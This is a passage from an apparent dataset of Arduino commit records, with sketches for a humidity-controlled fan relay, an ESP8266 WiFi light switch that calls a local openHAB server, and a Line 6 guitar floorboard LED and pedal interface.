status of the 3-way switch, we switch both\n \/\/ relays at the same time and hope there is no short circuit. This should\n \/\/ not be an issue, but anyway...\n digitalWrite(K1, NormallyConnected);\n digitalWrite(K2, NormallyConnected);\n break;\n case FAN_ON:\n digitalWrite(K2, NormallyOpen);\n \/\/ since we don't know how the switch is switched, we first switch K2 to\n \/\/ non-connected, then wait a while for it to settle, before we switch\n \/\/ K1 to connected L. This should prevent any shorts (don't know if that\n \/\/ is actually an issue, but better safe than sorry).\n delay(milliseconds_switch_delay);\n digitalWrite(K1, NormallyOpen);\n break;\n }\n }\n state = new_state;\n\n \/\/ display the current state in the graph\n \/\/ don't use absolute values, so the graph can zoom in and show more information\n switch (state) {\n case FAN_OFF:\n on_off = 0.0;\n break;\n case FAN_ON:\n on_off = 1.0;\n break;\n case FAN_NOCHANGE:\n on_off = 0.5;\n break;\n }\n\n \/*\n * Output for debugging\/graphing\n *\/\n\n \/\/ print out the values for debugging\/plotting\n Serial.print(\"humidity = \");\n Serial.print(humidity, 1);\n Serial.print(\", threshold_low = \");\n Serial.print(thresholdLow, 3);\n Serial.print(\", threshold_hi = \");\n Serial.print(thresholdHigh, 3);\n Serial.print(\", envelope_min = \");\n Serial.print(env_min, 3);\n Serial.print(\", envelope_max = \");\n Serial.print(env_max, 3);\n Serial.print(\", temperature = \");\n Serial.print(temperature, 1);\n Serial.print(\", on_off = \");\n Serial.println(on_off, 1);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'shofanduino2_dht11\/shofanduino2_dht11.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"54cb8a410b2c4569ca74b06f368f81d886515040","subject":"wifi light switch: initial version","message":"wifi light switch: initial version\n","repos":"klenov\/homeAutomationExample,klenov\/homeAutomationExample,klenov\/cherdak_home_automation,klenov\/homeAutomationExample,klenov\/cherdak_home_automation,klenov\/cherdak_home_automation,klenov\/homeAutomationExample,klenov\/cherdak_home_automation,klenov\/cherdak_home_automation,klenov\/cherdak_home_automation,klenov\/homeAutomationExample,klenov\/homeAutomationExample,klenov\/homeAutomationExample,klenov\/cherdak_home_automation","old_file":"arduino\/wifi_light_switch\/wifi_light_switch.ino","new_file":"arduino\/wifi_light_switch\/wifi_light_switch.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <ESP8266HTTPClient.h>\n\nconst char wifi_ssid[] = \"cherdak\";\nconst char wifi_password[] = \"rodchenko\";\n\nconst char openhab_ip[] = \"192.168.2.2\";\n\n\nHTTPClient http;\n\nvoid setup() {\n\n Serial.begin(9600);\n\n WiFi.begin(wifi_ssid, wifi_password);\n\n http.setReuse(true);\n \/\/ pinMode(BUILTIN_LED, OUTPUT);\n}\n\nvoid loop() {\n \/\/ wait for WiFi connection\n while ( WiFi.status() != WL_CONNECTED ) {\n Serial.print(\".\");\n delay(500);\n }\n\n http.begin(openhab_ip, 8080, \"\/CMD?Light_4=TOGGLE\");\n\n http.addHeader(\"Content-Type\", \"text\/plain\");\n http.addHeader(\"Accept\", \"application\/json\");\n\n\n int httpCode = http.GET();\n if(httpCode > 0) {\n Serial.print(\"[HTTP] GET... code: \");\n Serial.println(httpCode);\n\n } else {\n Serial.print(\"[HTTP] GET... failed, error: \");\n Serial.println( http.errorToString(httpCode).c_str() );\n }\n\n http.end();\n\n delay(5000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/wifi_light_switch\/wifi_light_switch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"631834685cfc524c0b9973901fb3551a44a60712","subject":"Cleanup.","message":"Cleanup.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"SIK Circuits\/Circuit_12_modified\/Circuit_12_modified.ino","new_file":"SIK Circuits\/Circuit_12_modified\/Circuit_12_modified.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'SIK' did not match any file(s) known to git\nerror: pathspec 'Circuits\/Circuit_12_modified\/Circuit_12_modified.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ebc81eeb285f89bd557ce6714f0f18900a8be2cc","subject":"DDEC X DB","message":"DDEC X DB\n\nFixing fuel temperature to read 70\u00b0F\n","repos":"SynerconTechnologies\/SmartSensorSimulator,SynerconTechnologies\/SmartSensorSimulator","old_file":"Arduino Sketch Library\/SSS_DDEC10_Rev4_Daughter\/SSS_DDEC10_Rev4_Daughter.ino","new_file":"Arduino Sketch Library\/SSS_DDEC10_Rev4_Daughter\/SSS_DDEC10_Rev4_Daughter.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/SynerconTechnologies\/SmartSensorSimulator.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"99513cd9de57b305d825a92ff794d7c45801110e","subject":"Added L6 floorboard","message":"Added L6 floorboard\n","repos":"bananu7\/Arduino,bananu7\/Arduino,bananu7\/Arduino,bananu7\/Arduino,bananu7\/Arduino","old_file":"Floorboard\/floorboard.ino","new_file":"Floorboard\/floorboard.ino","new_contents":"\/*\n Optimized digital functions for AVR microcontrollers\n by Watterott electronic (www.watterott.com)\n based on http:\/\/code.google.com\/p\/digitalwritefast\n *\/\n\n#ifndef __digitalWriteFast_h_\n#define __digitalWriteFast_h_ 1\n\n#define ERROR_SEQUENCE 0b10101010 \/\/digitalReadFast will return this value if pin number is not constant\n\/\/ general macros\/defines\n#ifndef BIT_READ\n# define BIT_READ(value, bit) ((value) & (1UL << (bit)))\n#endif\n#ifndef BIT_SET\n# define BIT_SET(value, bit) ((value) |= (1UL << (bit)))\n#endif\n#ifndef BIT_CLEAR\n# define BIT_CLEAR(value, bit) ((value) &= ~(1UL << (bit)))\n#endif\n#ifndef BIT_WRITE\n# define BIT_WRITE(value, bit, bitvalue) (bitvalue ? BIT_SET(value, bit) : BIT_CLEAR(value, bit))\n#endif\n\n#ifndef SWAP\n#define SWAP(x,y) do{ (x)=(x)^(y); (y)=(x)^(y); (x)=(x)^(y); }while(0)\n#endif\n\n\/* \/\/not needed, rather it produces annoying warnings when compiled\n#ifndef DEC\n# define DEC (10)\n#endif\n#ifndef HEX\n# define HEX (16)\n#endif\n#ifndef OCT\n# define OCT (8)\n#endif\n#ifndef BIN\n# define BIN (2)\n#endif\n*\/\n\n\/\/ workarounds for ARM microcontrollers\n#if (!defined(__AVR__) || defined(ARDUINO_ARCH_SAM))\n#ifndef PROGMEM\n# define PROGMEM\n#endif\n#ifndef PGM_P\n# define PGM_P const char *\n#endif\n#ifndef PSTR\n# define PSTR(str) (str)\n#endif\n\n#ifndef memcpy_P\n# define memcpy_P(dest, src, num) memcpy((dest), (src), (num))\n#endif\n#ifndef strcpy_P\n# define strcpy_P(dst, src) strcpy((dst), (src))\n#endif\n#ifndef strcat_P\n# define strcat_P(dst, src) strcat((dst), (src))\n#endif\n#ifndef strcmp_P\n# define strcmp_P(a, b) strcmp((a), (b))\n#endif\n#ifndef strcasecmp_P\n# define strcasecmp_P(a, b) strcasecmp((a), (b))\n#endif\n#ifndef strncmp_P\n# define strncmp_P(a, b, n) strncmp((a), (b), (n))\n#endif\n#ifndef strncasecmp_P\n# define strncasecmp_P(a, b, n) strncasecmp((a), (b), (n))\n#endif\n#ifndef strstr_P\n# define strstr_P(a, b) strstr((a), (b))\n#endif\n#ifndef strlen_P\n# define strlen_P(a) strlen((a))\n#endif\n#ifndef sprintf_P\n# define sprintf_P(s, f, ...) sprintf((s), (f), __VA_ARGS__)\n#endif\n\n#ifndef pgm_read_byte\n# define pgm_read_byte(addr) (*(const unsigned char *)(addr))\n#endif\n#ifndef pgm_read_word\n# define pgm_read_word(addr) (*(const unsigned short *)(addr))\n#endif\n#ifndef pgm_read_dword\n# define pgm_read_dword(addr) (*(const unsigned long *)(addr))\n#endif\n\n#endif\n\n\n\/\/ digital functions\n\/\/#ifndef digitalPinToPortReg\n#define SPI_SW_SS_PIN (10) \/\/SS on Uno (for software SPI)\n#define SPI_SW_MOSI_PIN (11) \/\/MOSI on Uno (for software SPI)\n#define SPI_SW_MISO_PIN (12) \/\/MISO on Uno (for software SPI)\n#define SPI_SW_SCK_PIN (13) \/\/SCK on Uno (for software SPI)\n\n\n\/\/ --- Arduino Due ---\n#if (defined(ARDUINO_SAM_DUE) || defined(__SAM3X8E__))\n\n#define UART_RX_PIN (0)\n#define UART_TX_PIN (1)\n\n#define I2C_SDA_PIN (20)\n#define I2C_SCL_PIN (21)\n\n#define SPI_HW_SS_PIN (78) \/\/SS0:77, SS1:87, SS2:86, SS3:78\n#define SPI_HW_MOSI_PIN (75) \/\/75\n#define SPI_HW_MISO_PIN (74) \/\/74\n#define SPI_HW_SCK_PIN (76) \/\/76\n\n\n\/\/ --- Arduino Zero ---\n#elif (defined(ARDUINO_SAM_ZERO) || defined(__SAMD21G18A__))\n\n#define UART_RX_PIN (0)\n#define UART_TX_PIN (1)\n\n#define I2C_SDA_PIN (16)\n#define I2C_SCL_PIN (17)\n\n#define SPI_HW_SS_PIN (14) \/\/14\n#define SPI_HW_MOSI_PIN (21) \/\/21\n#define SPI_HW_MISO_PIN (18) \/\/18\n#define SPI_HW_SCK_PIN (20) \/\/20\n\n\n\/\/ --- Arduino Mega ---\n#elif (defined(ARDUINO_AVR_MEGA) || \\\n defined(ARDUINO_AVR_MEGA1280) || \\\n defined(ARDUINO_AVR_MEGA2560) || \\\n defined(__AVR_ATmega1280__) || \\\n defined(__AVR_ATmega1281__) || \\\n defined(__AVR_ATmega2560__) || \\\n defined(__AVR_ATmega2561__))\n\n#define UART_RX_PIN (0) \/\/PE0\n#define UART_TX_PIN (1) \/\/PE1\n\n#define I2C_SDA_PIN (20)\n#define I2C_SCL_PIN (21)\n\n#define SPI_HW_SS_PIN (53) \/\/PB0\n#define SPI_HW_MOSI_PIN (51) \/\/PB2\n#define SPI_HW_MISO_PIN (50) \/\/PB3\n#define SPI_HW_SCK_PIN (52) \/\/PB1\n\n#define __digitalPinToPortReg(P) \\\n(((P) >= 22 && (P) <= 29) ? &PORTA : \\\n((((P) >= 10 && (P) <= 13) || ((P) >= 50 && (P) <= 53)) ? &PORTB : \\\n(((P) >= 30 && (P) <= 37) ? &PORTC : \\\n((((P) >= 18 && (P) <= 21) || (P) == 38) ? &PORTD : \\\n((((P) >= 0 && (P) <= 3) || (P) == 5) ? &PORTE : \\\n(((P) >= 54 && (P) <= 61) ? &PORTF : \\\n((((P) >= 39 && (P) <= 41) || (P) == 4) ? &PORTG : \\\n((((P) >= 6 && (P) <= 9) || (P) == 16 || (P) == 17) ? &PORTH : \\\n(((P) == 14 || (P) == 15) ? &PORTJ : \\\n(((P) >= 62 && (P) <= 69) ? &PORTK : &PORTL))))))))))\n\n#define __digitalPinToDDRReg(P) \\\n(((P) >= 22 && (P) <= 29) ? &DDRA : \\\n((((P) >= 10 && (P) <= 13) || ((P) >= 50 && (P) <= 53)) ? &DDRB : \\\n(((P) >= 30 && (P) <= 37) ? &DDRC : \\\n((((P) >= 18 && (P) <= 21) || (P) == 38) ? &DDRD : \\\n((((P) >= 0 && (P) <= 3) || (P) == 5) ? &DDRE : \\\n(((P) >= 54 && (P) <= 61) ? &DDRF : \\\n((((P) >= 39 && (P) <= 41) || (P) == 4) ? &DDRG : \\\n((((P) >= 6 && (P) <= 9) || (P) == 16 || (P) == 17) ? &DDRH : \\\n(((P) == 14 || (P) == 15) ? &DDRJ : \\\n(((P) >= 62 && (P) <= 69) ? &DDRK : &DDRL))))))))))\n\n#define __digitalPinToPINReg(P) \\\n(((P) >= 22 && (P) <= 29) ? &PINA : \\\n((((P) >= 10 && (P) <= 13) || ((P) >= 50 && (P) <= 53)) ? &PINB : \\\n(((P) >= 30 && (P) <= 37) ? &PINC : \\\n((((P) >= 18 && (P) <= 21) || (P) == 38) ? &PIND : \\\n((((P) >= 0 && (P) <= 3) || (P) == 5) ? &PINE : \\\n(((P) >= 54 && (P) <= 61) ? &PINF : \\\n((((P) >= 39 && (P) <= 41) || (P) == 4) ? &PING : \\\n((((P) >= 6 && (P) <= 9) || (P) == 16 || (P) == 17) ? &PINH : \\\n(((P) == 14 || (P) == 15) ? &PINJ : \\\n(((P) >= 62 && (P) <= 69) ? &PINK : &PINL))))))))))\n\n#define __digitalPinToBit(P) \\\n(((P) >= 7 && (P) <= 9) ? (P) - 3 : \\\n(((P) >= 10 && (P) <= 13) ? (P) - 6 : \\\n(((P) >= 22 && (P) <= 29) ? (P) - 22 : \\\n(((P) >= 30 && (P) <= 37) ? 37 - (P) : \\\n(((P) >= 39 && (P) <= 41) ? 41 - (P) : \\\n(((P) >= 42 && (P) <= 49) ? 49 - (P) : \\\n(((P) >= 50 && (P) <= 53) ? 53 - (P) : \\\n(((P) >= 54 && (P) <= 61) ? (P) - 54 : \\\n(((P) >= 62 && (P) <= 69) ? (P) - 62 : \\\n(((P) == 0 || (P) == 15 || (P) == 17 || (P) == 21) ? 0 : \\\n(((P) == 1 || (P) == 14 || (P) == 16 || (P) == 20) ? 1 : \\\n(((P) == 19) ? 2 : \\\n(((P) == 5 || (P) == 6 || (P) == 18) ? 3 : \\\n(((P) == 2) ? 4 : \\\n(((P) == 3 || (P) == 4) ? 5 : 7)))))))))))))))\n\n\n\/\/ --- Arduino 644 ---\n#elif (defined(__AVR_ATmega644__) || \\\n defined(__AVR_ATmega644P__))\n\n#define UART_RX_PIN (8) \/\/PD0\n#define UART_TX_PIN (9) \/\/PD1\n\n#define I2C_SDA_PIN (17) \/\/PC1\n#define I2C_SCL_PIN (16) \/\/PC0\n\n#define SPI_HW_SS_PIN (4) \/\/PB4\n#define SPI_HW_MOSI_PIN (5) \/\/PB5\n#define SPI_HW_MISO_PIN (6) \/\/PB6\n#define SPI_HW_SCK_PIN (7) \/\/PB7\n\n#define __digitalPinToPortReg(P) \\\n(((P) >= 0 && (P) <= 7) ? &PORTB : (((P) >= 8 && (P) <= 15) ? &PORTD : (((P) >= 16 && (P) <= 23) ? &PORTC : &PORTA)))\n#define __digitalPinToDDRReg(P) \\\n(((P) >= 0 && (P) <= 7) ? &DDRB : (((P) >= 8 && (P) <= 15) ? &DDRD : (((P) >= 8 && (P) <= 15) ? &DDRC : &DDRA)))\n#define __digitalPinToPINReg(P) \\\n(((P) >= 0 && (P) <= 7) ? &PINB : (((P) >= 8 && (P) <= 15) ? &PIND : (((P) >= 8 && (P) <= 15) ? &PINC : &PINA)))\n#define __digitalPinToBit(P) \\\n(((P) >= 0 && (P) <= 7) ? (P) : (((P) >= 8 && (P) <= 15) ? (P) - 8 : (((P) >= 16 && (P) <= 23) ? (P) - 16 : (P) - 24)))\n\n\n\/\/ --- Arduino Leonardo ---\n#elif (defined(ARDUINO_AVR_LEONARDO) || \\\n defined(__AVR_ATmega16U4__) || \\\n defined(__AVR_ATmega32U4__))\n\n#define UART_RX_PIN (0) \/\/PD2\n#define UART_TX_PIN (1) \/\/PD3\n\n#define I2C_SDA_PIN (2) \/\/PD1\n#define I2C_SCL_PIN (3) \/\/PD0\n\n#define SPI_HW_SS_PIN (17) \/\/PB0\n#define SPI_HW_MOSI_PIN (16) \/\/PB2\n#define SPI_HW_MISO_PIN (14) \/\/PB3\n#define SPI_HW_SCK_PIN (15) \/\/PB1\n\n#define __digitalPinToPortReg(P) \\\n((((P) >= 0 && (P) <= 4) || (P) == 6 || (P) == 12 || (P) == 24 || (P) == 25 || (P) == 29) ? &PORTD : (((P) == 5 || (P) == 13) ? &PORTC : (((P) >= 18 && (P) <= 23)) ? &PORTF : (((P) == 7) ? &PORTE : &PORTB)))\n#define __digitalPinToDDRReg(P) \\\n((((P) >= 0 && (P) <= 4) || (P) == 6 || (P) == 12 || (P) == 24 || (P) == 25 || (P) == 29) ? &DDRD : (((P) == 5 || (P) == 13) ? &DDRC : (((P) >= 18 && (P) <= 23)) ? &DDRF : (((P) == 7) ? &DDRE : &DDRB)))\n#define __digitalPinToPINReg(P) \\\n((((P) >= 0 && (P) <= 4) || (P) == 6 || (P) == 12 || (P) == 24 || (P) == 25 || (P) == 29) ? &PIND : (((P) == 5 || (P) == 13) ? &PINC : (((P) >= 18 && (P) <= 23)) ? &PINF : (((P) == 7) ? &PINE : &PINB)))\n#define __digitalPinToBit(P) \\\n(((P) >= 8 && (P) <= 11) ? (P) - 4 : (((P) >= 18 && (P) <= 21) ? 25 - (P) : (((P) == 0) ? 2 : (((P) == 1) ? 3 : (((P) == 2) ? 1 : (((P) == 3) ? 0 : (((P) == 4) ? 4 : (((P) == 6) ? 7 : (((P) == 13) ? 7 : (((P) == 14) ? 3 : (((P) == 15) ? 1 : (((P) == 16) ? 2 : (((P) == 17) ? 0 : (((P) == 22) ? 1 : (((P) == 23) ? 0 : (((P) == 24) ? 4 : (((P) == 25) ? 7 : (((P) == 26) ? 4 : (((P) == 27) ? 5 : 6 )))))))))))))))))))\n\n\n\/\/ --- Arduino Uno ---\n#elif (defined(ARDUINO_AVR_UNO) || \\\n defined(ARDUINO_AVR_DUEMILANOVE) || \\\n defined(ARDUINO_ARCH_AVR) || \\\n defined(__AVR_ATmega328__) || \\\n defined(__AVR_ATmega328P__) || \\\n defined(__AVR__))\n\n#define UART_RX_PIN (0) \/\/PD0\n#define UART_TX_PIN (1) \/\/PD1\n\n#define I2C_SDA_PIN (18) \/\/A4\n#define I2C_SCL_PIN (19) \/\/A5\n\n#define SPI_HW_SS_PIN (10) \/\/PB0\n#define SPI_HW_MOSI_PIN (11) \/\/PB2\n#define SPI_HW_MISO_PIN (12) \/\/PB3\n#define SPI_HW_SCK_PIN (13) \/\/PB1\n\n#define __digitalPinToPortReg(P) \\\n(((P) >= 0 && (P) <= 7) ? &PORTD : (((P) >= 8 && (P) <= 13) ? &PORTB : &PORTC))\n#define __digitalPinToDDRReg(P) \\\n(((P) >= 0 && (P) <= 7) ? &DDRD : (((P) >= 8 && (P) <= 13) ? &DDRB : &DDRC))\n#define __digitalPinToPINReg(P) \\\n(((P) >= 0 && (P) <= 7) ? &PIND : (((P) >= 8 && (P) <= 13) ? &PINB : &PINC))\n#define __digitalPinToBit(P) \\\n(((P) >= 0 && (P) <= 7) ? (P) : (((P) >= 8 && (P) <= 13) ? (P) - 8 : (P) - 14))\n\n\n\/\/ --- Other ---\n#else\n\n#define SPI_HW_SS_PIN SS\n#define SPI_HW_MOSI_PIN MOSI\n#define SPI_HW_MISO_PIN MISO\n#define SPI_HW_SCK_PIN SCK\n\n\n#endif\n\/\/#endif \/\/#ifndef digitalPinToPortReg\n\n\n\/\/ref: http:\/\/forum.arduino.cc\/index.php?topic=140409.msg1054868#msg1054868\n\/\/void OutputsErrorIfCalled( void ) __attribute__ (( error( \"Line: \"__line__ \"Variable used for digitalWriteFast\") ));\nvoid NonConstantUsed( void ) __attribute__ (( error(\"\") )); \n\n\n#ifndef digitalWriteFast\n#if (defined(__AVR__) || defined(ARDUINO_ARCH_AVR))\n#define digitalWriteFast(P, V) \\\nif (__builtin_constant_p(P) && __builtin_constant_p(V)) { \\\n BIT_WRITE(*__digitalPinToPortReg(P), __digitalPinToBit(P), (V)); \\\n} else { \\\n NonConstantUsed(); \\\n}\n#else\n\/\/#define digitalWriteFast digitalWrite\n#error Non-AVR device, unsupported.\n#endif\n#endif\n\n\n#ifndef pinModeFast\n#if (defined(__AVR__) || defined(ARDUINO_ARCH_AVR))\n#define pinModeFast(P, V) \\\nif (__builtin_constant_p(P) && __builtin_constant_p(V)) { \\\n BIT_WRITE(*__digitalPinToDDRReg(P), __digitalPinToBit(P), (V)); \\\n} else { \\\n NonConstantUsed(); \\\n}\n#else\n\/\/#define pinModeFast pinMode\n#error Non-AVR device, unsupported.\n#endif\n#endif\n\n\n#ifndef digitalReadFast\n#if (defined(__AVR__) || defined(ARDUINO_ARCH_AVR))\n#define digitalReadFast(P) ( (byte) __digitalReadFast((P)) )\n#define __digitalReadFast(P ) \\\n (__builtin_constant_p(P) ) ? ( \\\n ( BIT_READ(*__digitalPinToPINReg(P), __digitalPinToBit(P))) ) : \\\n ERROR_SEQUENCE\n#else\n\/\/#define digitalReadFast digitalRead\n#error Non-AVR device, unsupported.\n#endif\n#endif\n\n#endif \/\/__digitalWriteFast_h_\n\/**\n * Arduino interfacing with the Line 6 Floorboard\n *\n * Thanks to Mark Lavelle for deciphering how this floorboard works and publishing on his website.\n * Go here for the document: http:\/\/harmonicappliances.com\/floorboard\/floorboard.html\n *\n * The following is a description of how to make the connection to the floorboard \n * (which I copied from the website linked above, because I am lazy as hell.)\n * \n * ==============================================================\n * The POD & Floor Board use standard \"Category 5\" network cables for connection. \n * The connectors on these cables (and the receptacles in the POD and Floor Board) are known as RJ-45s. \n * They're just like standard phone jacks, but with 8 pins. \n *\n * The pin numbering I'll use for RJ-type jacks starts at 1 and goes from left to right \n * looking into the receptacle (the female socket on the POD or Floor Board) \n * with the locking tab slot on the bottom, like the diagram below. \n * \"Standard\" or not, that's the numbering I'll be using here.\n * ==============================================================\n *\n * And here is a very lame ASCII interpretation of the connection drawing. \n * (Again, for details visit that website linked above.)\n * \n * 1: Ground\n * _________________ 2: Wah\n * | = = = = = = = = | 3: Ground\n * | 1 2 3 4 5 6 7 8 | 4: Volume\n * |_____ _____| 5: LEDs\n * |_____| 6: Switches\n * 7: +5V\n * 8: +5V\n * \n * So, what we'll be doing is connectiong those lines directly to our arduino.\n * And, basically, besides the power lines, we'll only be using 3 analog and 1 digital \n * pins which is Awesome!\n * \n * Analog pins will be 3, 4 and 5 for switches, wah and volume respectively.\n * The LED output will go to digital pin 8 (but it can be any from 8 to 13 since I'm using a method I stole\n * from the internet -don't remember where, sorry- for writing faster than digitalWrite in which all digital\n * output is written to all those pins.)\n *\n * A quick tip:\n * Take a Cat5 cable and cut one end, just to lose the connector, then strip like 1\/4\" from each wire.\n * You can easily use this wires with a protoboard to connect with your arduino, and use the connector in\n * the other end and plug your floorboard.\n *\/\n\n\/\/ This are the analog pins, used for the switches and expression pedals.\nconst int pinSw = 3; \/\/ to pin 6 in the RJ45 connector\nconst int pinWah = 4; \/\/ to pin 2 in the RJ45 ...\nconst int pinVol = 5; \/\/ to 4 in ...\nconst int pinLED = 8;\n\n\/\/ This constants are the bit positions for each of the LEDs.\nconst int DIST = (8*0)+7;\nconst int DOWN = (8*1)+7; \nconst int POINT = (8*2)+7;\nconst int TAP = (8*3)+7;\nconst int WAH = (8*3)+6;\nconst int SEL = (8*3)+5;\nconst int DRV = (8*3)+4;\nconst int CHD = (8*3)+3;\nconst int CHC = (8*3)+2;\nconst int CHB = (8*3)+1;\nconst int CHA = (8*3)+0;\n\n\/\/ I made a fancy presentation and use this variable to run it only the first time I engage the thing.\nbool presentation;\n\n\/\/ We use these to remember what input we had in the previous read.\nbyte swValue = 0;\nbyte volValue = 0;\nbyte wahValue = 0;\n\n\/\/ We have to move all the foot to calibrate the wah \nint readBounds[2][2] = {{420,780},{380,780}};\n\n\/\/ Smoothing the expression pedals\nconst int numReadings = 6;\n\n\/\/ We use arrays of 2 because that's the number of variable resistors we have\nint readings[2][numReadings]; \/\/ the readings from the analog input\nint readIndex = 0; \/\/ the index of the current reading\nint readTotal[2]; \/\/ the running total\nint readAverage[2]; \/\/ the average\n\n\n\/\/ We use these to eliminate bouncing (stolen from here: https:\/\/www.arduino.cc\/en\/Tutorial\/Debounce)\nint buttonState; \/\/ the current reading from the input pin\nint lastButtonState = LOW; \/\/ the previous reading from the input pin\n\/\/ the following variables are unsigned long's because the time, measured in miliseconds,\n\/\/ will quickly become a bigger number than can be stored in an int.\nunsigned long lastDebounceTime = 0; \/\/ the last time the output pin was toggled\nunsigned long debounceDelay = 50; \/\/ the debounce time; increase if the output flickers\n\n\/\/ The values of each LED are stored here.\nbyte leds[] = {0,0,0,0};\n\n\/\/ This is the character map for the LCD display\n\/\/ Source: http:\/\/harmonicappliances.com\/floorboard\/floorboard.html\nbyte digit[255];\nvoid initChars() {\n digit['A'] = B11101110;\n digit['B'] = B00111110;\n digit['C'] = B10011100;\n digit['D'] = B01111010;\n digit['E'] = B10011110;\n digit['F'] = B10001110;\n digit['G'] = B11110110;\n digit['H'] = B01101110;\n digit['I'] = B00001100;\n digit['J'] = B01111000;\n digit['k'] = B01001110;\n digit['L'] = B00011100;\n digit['M'] = B10101000;\n digit['N'] = B00101010;\n digit['O'] = B00111010;\n digit['P'] = B11001110;\n digit['Q'] = B11100110;\n digit['R'] = B00001010;\n digit['S'] = B10110110;\n digit['T'] = B00011110;\n digit['U'] = B01111100;\n digit['V'] = B00111000;\n digit['W'] = B01010100;\n digit['X'] = B01011110;\n digit['Y'] = B01110110;\n digit['Z'] = B10011010;\n digit['-'] = B00000010;\n digit['_'] = B00010000;\n digit['0'] = B11111100;\n digit['1'] = B01100000;\n digit['2'] = B11011010;\n digit['3'] = B11110010;\n digit['4'] = B01100110;\n digit['5'] = B10110110;\n digit['6'] = B10111110;\n digit['7'] = B11100000;\n digit['8'] = B11111110;\n digit['9'] = B11110110;\n}\n\nvoid sendPulses() {\n for (int i = 0; i< 32; i++) {\n \/\/ We always send one on and one off for each led or display segment.\n \/\/ The duration of each pulse tells the floorboard if the led is on or off.\n byte time1 = ((leds[i\/8]>>(i%8))&1) ? 2 : 5;\n byte time2 = 6 - time1;\n\n digitalWriteFast(pinLED, HIGH);\n \/\/digitalWrite(pinLED, HIGH);\n delayMicroseconds(time1);\n digitalWriteFast(pinLED, LOW);\n \/\/digitalWrite(pinLED, LOW);\n delayMicroseconds(time2);\n }\n}\n\n\nvoid debugPulses() {\n Serial.println(\"DEBUG PULSES START\");\n \n for (int i = 0; i< 32; i++) {\n \/\/ We always send one on and one off for each led or display segment.\n \/\/ The duration of each pulse tells the floorboard if the led is on or off.\n byte time1 = ((leds[i\/8]>>(i%8))&1) ? 1 : 5;\n byte time2 = 6 - time1;\n\n \/\/Serial.print(\"time1: \");\n \/\/Serial.println(time1);\n\n \/\/Serial.print(\"time2: \");\n \/\/Serial.println(time2);\n Serial.print(time1 == 5 ? \"0\" : \"1\");\n }\n Serial.println();\n\n Serial.println(\"DEBUG PULSES END\");\n}\n\n\/\/ Sets the char chr in the pos position of the 3 char display\nvoid setChar(char chr, int pos) {\n leds[pos] = (leds[pos] & 1) | digit[chr];\n}\n\n\/\/ Update a LED\nvoid writeLed(int pos, bool val) {\n int byt = floor(pos \/ 8);\n int shft = pos % 8;\n byte msk = ~(1<<(7-shft));\n leds[byt] = (leds[byt] & msk) | (val<<(7-shft));\n sendPulses();\n}\n\n\/\/ Puts the first 3 chars of the string on the 3-digit display\nvoid writeScreen(String text) {\n for(int i = 0; i<3; i++) {\n if (i+1>text.length()) {\n setChar(0,i); \n } else {\n setChar(text.charAt(2-i),i);\n }\n }\n sendPulses();\n}\n\n\/\/ My fancy 3-digit-7-segment-only-numbers-and-some-letters-marquee function\nvoid typeText (String str, int repeat, byte spd) {\n String newText = \" \" + str + \" \";\n newText.toUpperCase();\n int ms = map(spd, 0, 255, 1000, 50);\n for (int i = 0; i < repeat; i++) {\n for (int chr = 0; chr < str.length()+3; chr++) {\n String segment = newText.substring(chr, chr+3);\n writeScreen(segment);\n Serial.println(segment);\n delay(ms);\n }\n }\n writeScreen(\" \");\n}\n\nvoid setup() {\n \/\/ Initialize fast digital write, needed for sending the LED pulses.\n DDRB = 255;\n pinModeFast(pinLED, OUTPUT);\n \/\/pinMode(pinLED, OUTPUT);\n pinMode(pinSw, INPUT);\n initChars();\n presentation = 1;\n Serial.begin(9600);\n \/\/ initialize all the readings to 0:\n for (int thisReading = 0; thisReading < numReadings; thisReading++) {\n readings[0][thisReading] = 0;\n readings[1][thisReading] = 0;\n }\n}\n\n\/\/ All switches use the same analog input but with different resistance values, \n\/\/ so we have a different voltage for each switch\nbyte buttonValue2(int value) {\n if (value < 50) \n return 8; \/\/ TAP BUTTON\n if (value < 130) \n return 7; \/\/ CHANNEL SELECT\n if (value < 250) \n return 9; \/\/ WAH\n if (value < 350) \n return 3; \/\/ CHANNEL A\n if (value < 430)\n return 4; \/\/ CHANNEL B\n if (value < 500)\n return 5; \/\/ CHANNEL C\n if (value < 600)\n return 6; \/\/ CHANNEL D\n if (value < 780)\n return 10; \/\/ PRESET ( UP + DOWN)\n if (value < 830)\n return 2; \/\/ UP\n if (value < 880)\n return 1; \/\/ DOWN\n return 0; \/\/ NO BUTTON PRESSED\n}\n\nbyte buttonValue(int value) {\n #define CHECK(V) (abs(value - V) < 3)\n \n if (CHECK(85)) return DOWN;\n if (CHECK(37)) return DIST;\n if (CHECK(99)) return DRV;\n \n return 0; \/\/ NO BUTTON PRESSED\n #undef CHECK\n}\n\n\/\/ I made this function at the begining for testing the LEDS, but I liked so much that \n\/\/ I left it here and use it as part fancy presentation.\nvoid test(bool val) {\n int dl=80;\n writeLed(DIST, val);\n delay(dl);\n writeLed(DOWN, val);\n delay(dl);\n writeLed(POINT, val);\n delay(dl);\n writeLed(TAP, val);\n delay(dl);\n writeLed(WAH, val);\n delay(dl);\n writeLed(SEL, val);\n delay(dl);\n writeLed(DRV, val);\n delay(dl);\n writeLed(CHD, val);\n delay(dl);\n writeLed(CHC, val);\n delay(dl);\n writeLed(CHB, val);\n delay(dl);\n writeLed(CHA,val);\n}\n\nbyte parseFromMax(byte data) {\n \/\/ Digits in max are represented with their ASCII value, the floorboard uses a lcd segment\n \/\/ map described in the document linked in the description at the top of this file.\n return digit[data & ~(128)] | data>>7;\n}\n\nvoid badassPresentation() {\n test(1);\n test(0);\n typeText(\"IMBIREk JEST 